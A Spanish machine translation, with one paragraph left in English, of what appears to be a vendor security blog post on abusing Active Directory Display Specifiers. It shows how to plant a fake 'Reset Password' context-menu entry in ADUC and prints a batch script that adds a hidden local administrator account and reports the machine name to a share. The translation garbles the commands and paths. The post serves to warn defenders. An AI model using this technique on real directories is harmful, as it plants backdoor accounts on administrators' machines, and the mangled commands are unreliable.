Darren Mar-Elia

Hace poco me acordé de una función de AD que no utilizaba desde hacía casi 20 años y de la que pueden abusar los atacantes. Esta característica se basa en un área en la partición de Configuración dentro de un determinado bosque de Active Directory llamado Display Specifiers. Estoy seguro de que tienen muchas funciones dentro de AD, pero la que me interesa es su capacidad para permitirte añadir extensiones de menú contextual personalizadas a las herramientas AD basadas en MMC. 

La primera vez que utilicé esta capacidad (de nuevo, una que existe desde hace años), había escrito una utilidad para permitir algunas tareas de gestión de usuarios de AD. Utilicé Display Specifiers para añadir un nuevo elemento de menú al snap-in MMC de AD Users and Computers (ADUC), para nuestros administradores de TI internos. Cada vez que hacían clic con el botón derecho en un objeto de usuario en ADUC, aparecía mi opción de menú. Cuando seleccionaban la opción, se ejecutaba un script en segundo plano contra ese objeto de usuario. Los Especificadores de pantalla también tienen la capacidad de añadir hojas de propiedades a la página Propiedades dentro de una clase de objeto dada, siempre y cuando esté dispuesto a escribir algo de código COM :-).

Los especificadores de visualización tienen este aspecto:

Mostrar especificadores en la partición de configuración

Mostrar especificadores en la partición de configuración

Observará que los contenedores de la izquierda están organizados por valores numéricos. Éstos corresponden a los códigos de idioma hexadecimales de cada configuración regional. He resaltado409porque ese es el valor hexadecimal para EN-US o English-US, que es mi cultura por defecto. Puedes ver una lista completa de estos códigosaquí.

Dentro de cada contenedor de código de idioma, observará un conjunto de objetos de clase displaySpecifier, a la derecha. Cada uno de ellos representa la clase de objeto para la que puedes modificar el comportamiento del menú contextual, entre otras cosas. Por ejemplo, si queremos añadir un menú contextual a los objetos de usuario en ADUC, seleccionaremos el objeto CN=user-Display, y modificaremos los atributos apropiados en este objeto.

Los especificadores de pantallas se portan mal

Hay que saber un par de cosas sobre cómo los atacantes podrían abusar de los especificadores de pantalla. En primer lugar, para abusar de los especificadores de pantalla, desde una perspectiva de seguridad, necesitarías ser un usuario con privilegios. Por defecto (énfasis en "por defecto"), sólo los miembros deAdministradores de dominioyAdministradores de empresapueden escribir en estos objetos. Por lo tanto, abusar de estos objetos supone que ya has ganado el dominio, lo que mitiga en gran medida el poder de esto. Sin embargo, este mecanismo proporciona una forma sigilosa de hacer cosas malas en un entorno. Por ejemplo, si un miembro Administrador de Dominio es comprometido, cualquier cosa que él o ella haga es muy visible para el monitoreo estándar, pero si el atacante es capaz de tomar el control de una cuenta administrativa no tan obvia, puede ser capaz de moverse alrededor del ambiente más sigilosamente. Aquí es donde el uso de especificadores de pantalla podría ser útil. En mi ejemplo, lo que estoy haciendo es añadir un nuevo menú contextual a los objetos de usuario. Estoy llamando a mi elemento de menú contextual "Restablecer contraseña...", al igual que la opción de menú existente del mismo nombre, integrada en ADUC para objetos de usuario, como se muestra aquí:

Añadir un nuevo elemento al menú contextual

As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of: 

2,Restablecer Contraseña...,\gpaapackagesresetpw.bat

Donde la primera entrada es el índice en el que quiero que aparezca, la segunda es el nombre del elemento de menú y la tercera es lo que quiero ejecutar cuando el usuario elige ese elemento de menú. En este ejemplo, estoy llamando a un archivo por lotes desde un recurso compartido. Usted puede ver lo que esto parece en el atributo en vivo aquí:

Visualización de un especificador de visualización modificado

Me refiero a un recurso compartido UNC porque recuerde que este elemento de menú será llamado por cualquier usuario de ADUC desde cualquier estación de trabajo, por lo que necesitaba que el usuario pueda llamar a mi archivo por lotes desde cualquier lugar. También podría utilizar comandos integrados para ejecutar localmente, pero no he jugado con pasar parámetros a los comandos dentro de los Especificadores de pantalla, así que no estoy seguro de que funcione. En cualquier caso, mi archivo por lotes es bastante simple. Estoy confiando en el hecho de que alguien usando ADUC puede ser un administrador en su estación de trabajo y por lo tanto pueden hacer prácticamente cualquier cosa cuando ejecutan mi script. Así que el script "resetpw.bat" tiene este aspecto:

net usuario badguy contraseña /añadir
net localgroup administradores badguy /add
echo gotcha > \gpaquetes%nombredeordenador%.txt

Así que básicamente creo una nueva cuenta local en la máquina con una contraseña conocida, añado esa cuenta al grupo de administradores locales, luego creo un pequeño archivo en mi recurso compartido que me dice qué nombre de máquina acaba de ejecutar mi script. ¡Voilà!

Defensa contra el abuso del especificador de visualización

Obviamente, nada de esto funciona si el atacante no tiene permisos de escritura en los Especificadores de pantalla. Así que a menos que ya hayan comprometido tu dominio, o hayas modificado la delegación por defecto en esta parte de la Configuración NC, probablemente no tengas que preocuparte por esto. Pero, si usted tiene algún tipo de solución de auditoría de AD en su lugar, usted debe definitivamente mantener un ojo en los cambios a estos objetos. Probablemente no hay muchas razones legítimas por las que estos cambiarían normalmente. La buena noticia aquí es que Semperis acaba de crear un nuevo indicador para buscar cambios en estos objetos especificadores de pantalla, y si usted es un usuario de DSP Inteligenciaobtendrá este nuevo indicador automáticamente y empezará a buscar este tipo de abusos en los especificadores de pantalla inmediatamente.